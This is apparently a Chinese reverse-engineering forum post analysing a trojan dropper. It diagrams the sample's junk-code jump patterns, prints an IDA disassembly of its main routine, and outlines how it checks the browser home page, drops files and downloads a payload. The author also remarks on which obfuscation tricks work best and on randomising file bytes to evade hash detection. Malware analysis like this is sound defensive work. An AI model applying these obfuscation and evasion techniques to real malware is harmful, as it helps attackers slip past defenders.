偶然得到一样本,小弟调了下,于是就有了小弟在调试版块这篇处女贴。
分析结果如下:
首先这个样本花指令挺多,效果还挺好,IDA及OD都被花了啊!
总结了下花指令如下,别看简单,其实效果真挺好!
结构类型一:
jle ---------┓
... ┃
... ┃
jg -----┓ ┃
┃ ┃
垃圾 ┃ ┃
┏-- jb效果更好 ┃ ┃
┃ ←--┸--┛
┗--------------→
jb ---------┓
... ┃
... ┃
jnb -----┓ ┃
┃ ┃
垃圾 ┃ ┃
┃ ┃
←----┸--┛
js ---------┓
... ┃
... ┃
jns -----┓ ┃
┃ ┃
垃圾 ┃ ┃
┃ ┃
←-----┸-┛
jp ---------┓
... ┃
... ┃
jnp -----┓ ┃
┃ ┃
垃圾 ┃ ┃
┃ ┃
←----┸--┛
┏------→
┃
┗--------jbe
jo ---------┓
... ┃
... ┃
jno -----┓ ┃
┃ ┃
垃圾 ┃ ┃
┃ ┃
←----┸--┛
jle ---------┓
... ┃
... ┃
jg -----┓ ┃
┃ ┃
垃圾 ┃ ┃
┏-- 用enter效果也很好哦
┃ ←--┸--┛
┗--------------→
小结在这种类型的花指令中再混合jb,enter,out效果挺好。
结构类型二:
push r
.....
.....
pop r
结构2,没什么效果,主要是结构类型1,效果明显。
我们来总览下这个Droper的情况如下图所示:
好了开始分析吧,Droper没什么特别的,主要是花指令问题。
第一部分:setup.exe分析如下:
一点亮点:
往释放后的PE文件尾写入0x100个字节随机数,从而每次MD5值不同,实现每次都不同,为什么这么干?不解释,你懂的!
木马的主流程操作如下:
1、解密字符串;
2、判断IE浏览器的主页是否为about:blank或者是baidu.com或者是hao123.com、以此决定下载文件的网址(注册表查询HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main (Start Page))
3、写入选择的网址的索引号,HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DateTime (Index)。
4、释放木马并运行,共释放3个文件,木马,两个用于清理的BAT文件。(运行调用的WINEXEC执行)。
5、检查驱动是否安装完毕。(CreateFile)
5-1、如果驱动安装完毕,判断操作系统是否非WIN7。
5-1-1、如果非WIN7,则从前面选择的网址进行下载。(看来小马无法支持WIN7的远程下载啊)
解密的字符串如下图所示:
主流程:
.text:004020B0 ; int __stdcall WndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
.text:004020B0 WndProc proc near ; DATA XREF: RegisterWndClass+1Eo
.text:004020B0
.text:004020B0 szUrl0 = dword ptr -1Ch
.text:004020B0 szUrl1 = dword ptr -18h
.text:004020B0 szUrl2 = dword ptr -14h
.text:004020B0 szUrl3 = dword ptr -10h
.text:004020B0 szUrl4 = dword ptr -0Ch
.text:004020B0 pcbData = dword ptr -8
.text:004020B0 pvData = dword ptr -4
.text:004020B0 hWnd = dword ptr 8
.text:004020B0 Msg = dword ptr 0Ch
.text:004020B0 wParam = dword ptr 10h
.text:004020B0 lParam = dword ptr 14h
.text:004020B0
.text:004020B0 push ebp
.text:004020B1 mov ebp, esp
.text:004020B3 sub esp, 1Ch
.text:004020B6 mov eax, [ebp+Msg]
.text:004020B9 push ebx
.text:004020BA push esi
.text:004020BB dec eax
.text:004020BC push edi
.text:004020BD jnz loc_40227C
.text:004020C3 call DecryptStr
.text:004020C8 push edx
.text:004020C9 or dx, si
.text:004020CC dec dh
.text:004020CE sub dx, 5DECh
.text:004020D3 pop edx
.text:004020D4 call MakeSeed
.text:004020D9 push eax
.text:004020DA push ebx
.text:004020DB push esi
.text:004020DC sub esi, eax
.text:004020DE cmp ah, 68h
.text:004020E1 and esi, ebx
.text:004020E3 dec ebx
.text:004020E4 or al, 59h
.text:004020E6 test esi, 7690h
.text:004020EC pop esi
.text:004020ED pop ebx
.text:004020EE pop eax
.text:004020EF lea eax, [ebp+pcbData]
.text:004020F2 push eax ; pcbData
.text:004020F3 call CheckIeMainPage
.text:004020F8 add esp, 4
.text:004020FB test eax, eax
.text:004020FD jz short loc_402149
.text:004020FF mov [ebp+szUrl2], offset unk_4370DC
.text:00402106 mov [ebp+szUrl3], offset unk_4370FC
.text:0040210D mov [ebp+szUrl4], offset unk_43711C
.text:00402114 push eax
.text:00402115 push ecx
.text:00402116 xor ax, ax
.text:00402119 add eax, ecx
.text:0040211B xor cx, 1834h
.text:00402120 cmp ch, 2Eh
.text:00402123 test ch, 3Ah
.text:00402126 test esi, eax
.text:00402128 and eax, 711Dh
.text:0040212D inc ecx
.text:0040212E xor ax, bx
.text:00402131 pop ecx
.text:00402132 pop eax
.text:00402133 call _rand
.text:00402138 cdq
.text:00402139 mov ecx, 3
.text:0040213E idiv ecx
.text:00402140 mov [ebp+pvData], edx
.text:00402143 mov esi, [ebp+edx*4+szUrl2]
.text:00402147 jmp short loc_4021A7
.text:00402149 ; ---------------------------------------------------------------------------
.text:00402149
.text:00402149 loc_402149: ; CODE XREF: WndProc+4Dj
.text:00402149 mov [ebp+szUrl0], offset unk_43703C
.text:00402150 mov [ebp+szUrl1], offset unk_43705C
.text:00402157 mov [ebp+szUrl2], offset unk_43707C
.text:0040215E mov [ebp+szUrl3], offset unk_43709C
.text:00402165 mov [ebp+szUrl4], offset unk_4370BC
.text:0040216C push ecx
.text:0040216D inc ecx
.text:0040216E cmp cl, 15h
.text:00402171 pop ecx
.text:00402172 call _rand
.text:00402177 cdq
.text:00402178 mov ecx, 5
.text:0040217D idiv ecx
.text:0040217F mov eax, [ebp+pcbData]
.text:00402182 test eax, eax
.text:00402184 mov [ebp+pvData], edx
.text:00402187 jz short loc_402190
.text:00402189 mov [ebp+pvData], 4
.text:00402190
.text:00402190 loc_402190: ; CODE XREF: WndProc+D7j
.text:00402190 push edi
.text:00402191 test di, 52AEh
.text:00402196 cmp di, cx
.text:00402199 and edi, 5FE0h
.text:0040219F pop edi
.text:004021A0 mov edx, [ebp+pvData]
.text:004021A3 mov esi, [ebp+edx*4+szUrl0]
.text:004021A7
.text:004021A7 loc_4021A7: ; CODE XREF: WndProc+97j
.text:004021A7 push eax
.text:004021A8 push ecx
.text:004021A9 inc eax
.text:004021AA cmp ecx, 420h
.text:004021B0 mov ecx, edx
.text:004021B2 cmp ah, dl
.text:004021B4 and ax, 0C72h
.text:004021B8 xor cl, bh
.text:004021BA cmp cl, 6
.text:004021BD cmp cl, 52h
.text:004021C0 test eax, 5F41h
.text:004021C5 pop ecx
.text:004021C6 pop eax
.text:004021C7 lea eax, [ebp+pvData]
.text:004021CA push 4 ; cbData
.text:004021CC push eax ; pvData
.text:004021CD push 4 ; dwType
.text:004021CF push offset aZ ; "z"
.text:004021D4 push offset aUfsu ; "u鋺?
.text:004021D9 push 80000002h ; hkey
.text:004021DE call ds:SHSetValueA
.text:004021E4 push eax
.text:004021E5 push ecx
.text:004021E6 inc eax
.text:004021E7 cmp ecx, 420h
.text:004021ED mov ecx, edx
.text:004021EF cmp ah, dl
.text:004021F1 and ax, 0C72h
.text:004021F5 xor cl, bh
.text:004021F7 cmp cl, 6
.text:004021FA cmp cl, 52h
.text:004021FD test eax, 5F41h
.text:00402202 pop ecx
.text:00402203 pop eax
.text:00402204 call ReleaseTrjan
.text:00402209 push ecx
.text:0040220A push edx
.text:0040220B xor ecx, 5F3Eh
.text:00402211 and ch, bl
.text:00402213 and cl, 3Ah
.text:00402216 and dh, 7
.text:00402219 pop edx
.text:0040221A pop ecx
.text:0040221B push 0BB8h ; dwMilliseconds
.text:00402220 call ds:Sleep
.text:00402226 push ebx
.text:00402227 push ecx
.text:00402228 or ch, ch
.text:0040222A test cl, 46h
.text:0040222D pop ecx
.text:0040222E pop ebx
.text:0040222F call CheckSysSetup
.text:00402234 test eax, eax
.text:00402236 jnz short loc_402268
.text:00402238 push ebx
.text:00402239 push ecx
.text:0040223A push edi
.text:0040223B mov cx, 6BB6h
.text:0040223F and edi, 1239h
.text:00402245 or edi, eax
.text:00402247 cmp bx, ax
.text:0040224A inc cx
.text:0040224C and bx, 23D5h
.text:00402251 cmp ecx, eax
.text:00402253 pop edi
.text:00402254 pop ecx
.text:00402255 pop ebx
.text:00402256 call IsNotWin7
.text:0040225B test eax, eax
.text:0040225D jz short loc_402268
.text:0040225F push esi ; LPCSTR
.text:00402260 call UrlDownToFile
.text:00402265 add esp, 4
.text:00402268
.text:00402268 loc_402268: ; CODE XREF: WndProc+186j
.text:00402268 ; WndProc+1ADj
.text:00402268 push cx
.text:0040226A push edi
.text:0040226B or ch, bh
.text:0040226D dec edi
.text:0040226E or ch, 3
.text:00402271 pop edi
.text:00402272 pop cx
.text:00402274 push 0 ; nExitCode
.text:00402276 call ds:PostQuitMessage
.text:0040227C
.text:0040227C loc_40227C: ; CODE XREF: WndProc+Dj
.text:0040227C mov ecx, [ebp+lParam]
.text:0040227F mov edx, [ebp+wParam]
.text:00402282 mov eax, [ebp+Msg]
.text:00402285 push ecx ; lParam
.text:00402286 mov ecx, [ebp+hWnd]
.text:00402289 push edx ; wParam
.text:0040228A push eax ; Msg
.text:0040228B push ecx ; hWnd
.text:0040228C call ds:DefWindowProcA
.text:00402292 pop edi
.text:00402293 pop esi
.text:00402294 pop ebx
.text:00402295 mov esp, ebp
.text:00402297 pop ebp
.text:00402298 retn 10h
.text:00402298 WndProc endp
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课